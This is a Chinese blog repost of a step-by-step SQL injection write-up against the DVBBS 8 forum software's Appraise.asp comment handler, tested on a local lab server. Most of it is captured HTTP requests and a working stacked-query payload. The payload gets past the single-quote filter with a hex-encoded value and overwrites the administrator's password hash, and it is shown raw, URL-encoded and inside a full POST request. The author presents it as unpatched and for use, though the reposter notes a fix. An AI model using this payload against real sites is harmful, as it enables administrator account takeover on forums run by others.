鬼仔's Blog

鬼仔注：刚由黑板提醒，此漏洞已在上月修补过。

来源：Allyesno's Blog
作者：Allyesno[AT]77169.org

我这边已经假设好了一个DVBBS8 SQL：
我们先来注册一个用户，随便找个帖子。刚才弄坏了。。。。
我们来重新发个帖子。点发表评论，这里来抓包

POST /dvbbs8/Appraise.asp?action=save HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.1.91/dvbbs8/dispbbs.asp?boardID=1&ID=2&page=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)
Host: 192.168.1.91
Content-Length: 91
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: DvForum=UserID=3&usercookies=0&StatUserID=197615644&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=allyesno&password=v0qdt2f765U6x7J5&userhidden=2; w0802=3; rtime=0; ltime=1186473801000; w08_eid=88452409-http%3A//192.168.1.91/dvbbs8/index.asp%3Fboardid%3D1; geturl=%2Fdvbbs8%2Fpost%5Fupload%2Easp%3Fboardid%3D1; ASPSESSIONIDACCRCQQQ=FDKDFDBAOGGEGNICMPBANLKL; Dvbbs=cacgffcf; upNum=0

boardid=1&topicid=2&announceid=2&atype=0&a1=0&a2=0&atitle=11111&acodestr=0425&acontent=test


OK，LET's start
LET's make fun
userpost是用户发表过的帖子数量。算错了

script language='javascript'> <font face="宋体" size=2>
p>Microsoft OLE DB Provider for SQL Server</font> <font face="宋体" size=2>错误
'80040e14'</font>
p>
font face="宋体" size=2>第 1 行: ';' 附近有语法错误。</font>
p>
font face="宋体" size=2>/dvbbs8/inc/Dv_ClsMain.asp</font><font face="宋体" siz
2>，行 1504</font>

出现一个这个，不要管他，其实我们已经修改成功了！
文章：100
我们继续来修改，其实是这样的，程序有点小问题需要我们来解决

TopicID = Dvbbs.CheckStr(Request.Form("topicid"))

Public Function Checkstr(Str)
If Isnull(Str) Then
CheckStr = ""
Exit Function
End If
Str = Replace(Str,Chr(0),"")
CheckStr = Replace(Str,"'","''")
End Function

很明显过滤了单引号。。。。我们这样来饶过
还是修改一下密码吧，现在ADMIN的密码是admin888，我们来把他修改成123456
[/code]
declare @a sysname
select @a=0x3400390062006100350039006100620062006500350036006500300035003700
update [dv_user] set userpassword=@a where userid=1
[/code]
这样可以修改成功！！！我们把他改回来

%3Bdeclare+@a+sysname+select+@a%3D0x3400390062006100350039006100620062006500350036006500300035003700+update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1

OK，这句语句也可以执行
156

POST /dvbbs8/Appraise.asp?action=save HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.1.91/dvbbs8/dispbbs.asp?boardID=1&ID=3&page=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)
Host: 192.168.1.91
Content-Length: 242
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: DvForum=UserID=3&usercookies=0&StatUserID=197615644&userclass=%C2%DB%CC%B3%D3%CE%C3%F1&username=allyesno&password=Y1tGx4j886XtB846&userhidden=2; List=list1=1; w0802=5; rtime=0; ltime=1186474916718; w08_eid=88452409-http%3A//192.168.1.91/dvbbs8/index.asp%3Fboardid%3D1; geturl=%2Fdvbbs8%2Fpost%5Fupload%2Easp%3Fboardid%3D1; ASPSESSIONIDACCRCQQQ=FDKDFDBAOGGEGNICMPBANLKL; Dvbbs=cacgffcf; upNum=0

boardid=1&topicid=3%3Bdeclare+@a+sysname+select+@a%3D0x3400390062006100350039006100620062006500350036006500300035003700+update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1&announceid=3&atype=0&a1=0&a2=0&atitle=22&acodestr=3297&acontent=33

看见没，已经修改成了123456

由于漏洞比较严重，请大家谨慎使用，官方还未打补丁！！！！！！